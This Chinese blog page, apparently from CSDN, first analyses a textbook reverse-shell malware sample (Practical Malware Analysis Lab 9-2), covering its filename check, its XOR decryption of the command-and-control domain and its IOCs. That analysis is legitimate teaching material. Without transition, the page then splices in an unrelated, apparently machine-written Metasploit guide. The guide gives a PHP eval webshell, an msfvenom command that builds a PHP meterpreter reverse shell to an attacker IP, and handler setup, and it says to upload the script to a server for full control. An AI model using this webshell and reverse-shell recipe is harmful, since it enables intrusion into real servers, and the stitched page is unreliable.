一款简单的反向shell恶意样本分析

本文分析了一款简单的反向shell恶意样本,涉及静态和动态分析。样本在满足特定条件时启动一个shell,通过解密获取通信URL,利用gethostbyname获取主机信息,创建进程进行远程交互。该样本要求文件名特定,主要用于实现远程控制。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一款简单的反向shell恶意样本分析

样本来自《恶意软件分析实战》第九章的的实验二。

静态分析

基本信息

查看样本信息,发现程序没有加壳,使用VC++基编写

在这里插入图片描述
编译时间2011/041/30

在这里插入图片描述

接着查看字符串,没有发现有用的信息,如下

在这里插入图片描述

静态分析

使用ida分析来到入口函数,发现初始化了一堆参数

在这里插入图片描述

接着调用GetModuleFileNameA函数获取样本执行的路径,并判断当前样本的名称是否为ocl.exe,如果不是则退出

在这里插入图片描述

如果相同则创建socket链接,否则退出。这里进入创建socket链接

在这里插入图片描述

在调用gethostbyname函数前,会调用sub_401089函数解密出要获取的name。其中ebp=var_1B0的参数是在初始化的时候就给定了一个字符串,如下

在这里插入图片描述

整理后得到1qaz2wsx3edc,参数ebp+var_1F0的值是一个经过加密的数组

在这里插入图片描述

这里将数组导出备用,导出方式为

在这里插入图片描述

这里导出为C数组即可,如下

在这里插入图片描述
经过分析函数sub_401089可知

  • 获取key=1qaz2wsx3edc的长度 slen,
  • 循环32次,每次获取一个key[index%slen]^(index+data[i])

如下

在这里插入图片描述

解密后的字符串为

www.practicalmalwareanalysis.com

接着调用gethostbyname获取主机信息并调用函数sub_401000创建一个进程,其中进程的输入输入控制是连接的socket对象,创建的进程就相当于一个shell,负责和远程进行交互,如下

在这里插入图片描述

创建进程完成后,开始循环等待,每隔0x7530运行一次。

在这里插入图片描述

动态分析

程序运行后,首先判断运行的程序名称是否为ocl.exe如下

在这里插入图片描述

这里需要过掉这个判断,运行到je

00401240 | 74 0A              | je lab09-02.40124C           

ZF=0 -->ZF=1之后来到调用解密函数位置对应的参数分别是

在这里插入图片描述
需要解密的数组如下

在这里插入图片描述

解密后的数据

在这里插入图片描述

之后程序会创建一个进程,这个进程负责和远程进行通信。

程序首先初始化了key,判断程序是否为ocl.exe如果是则运行,如果不是则退出。这里选择path掉这个校验,创建一个socket,之后解密出gethostbyname的参数name获取对应的name的host信息,之后创建一个进程,这个进程的输入和输入都是通过创建的socket来通信,这个程序运行之后每隔0x7530运行一次。

总结

这个样本运行要求修改样本名称为ocl.exe才能运行,并且程序是一个反向shell控制程序,通过运行时解密出url并通过gethostbyname获取通信信息。通过设置CreateProcess函数的StartupInfo中的input output error为sockcet对象来实现接收远程的输入。

IOCs

URL

www[.]practicalmalwareanalysis.com

sha256

F153DFACEC09DD69809C3BBF68270A38EE3701F44220C7BF181C14A68C138133
### 使用 Metasploit 框架生成反弹 Shell 的配置说明 #### 配置目标 为了实现从目标主机到攻击者机器的反弹 Shell 连接,可以使用 Metasploit 提供的强大功能。以下是基于 Metasploit 框架生成反弹 Shell 的具体操作流程。 --- #### 准备工作 1. **启动 Docker 容器** 如果尚未运行 `remnux/metasploit` 容器,则可以通过以下命令启动容器并进入其交互模式[^1]: ```bash docker run -it --rm remnux/metasploit /bin/bash ``` 2. **加载 Metasploit 控制台** 在容器内部执行以下命令以启动 Metasploit Framework 控制台: ```bash msfconsole ``` --- #### 创建反弹 Shell 的步骤 ##### 1. 设置监听模块 在 Metasploit 中,选择适合的监听模块用于接收来自目标系统的连接请求。通常使用的模块为 `multi/handler`。 ```plaintext use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp ``` 上述命令选择了适用于 Windows 系统的目标负载(payload),支持 TCP 协议的反向 Meterpreter Shell[^3]。 ##### 2. 配置参数 设置必要的选项以便成功建立通信链路: - LHOST (本地 IP 地址): 攻击者的公网或局域网地址; - LPORT (端口号): 自定义开放端口,默认可设为 4444; 示例代码如下所示: ```plaintext set LHOST <your_local_ip> set LPORT 4444 exploit -j -z ``` 此处 `-j` 参数表示后台运行作业,而 `-z` 则让程序不阻塞当前会话继续其他任务处理[^2]。 ##### 3. 构建有效载荷 利用 Msfpayload 工具生成可用于部署于受害设备上的恶意软件样本文件。这里我们采用 Ruby 脚本来演示如何创建自定义 PHP Webshell 实现远程访问目的: ```ruby file = File.open("/tmp/shell.php", "w") file.puts("<?php @eval($_POST['cmd']);?>") file.close() print_good("PHP webshell has been created at /tmp/shell.php.") ``` 或者直接调用内置命令快速完成相同效果的操作过程: ```plaintext msfvenom -p php/meterpreter_reverse_tcp LHOST=<attacker_IP> LPORT=4444 -f raw > shell.php ``` 最后一步就是把生成好的脚本上传至服务器相应位置等待触发条件满足即可获得完全控制权。 --- ### 注意事项 - 确保防火墙规则允许指定端口的数据流入流出。 - 测试环境应严格隔离真实网络以防意外扩散风险。 - 所有活动均需得到合法授权方可实施。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值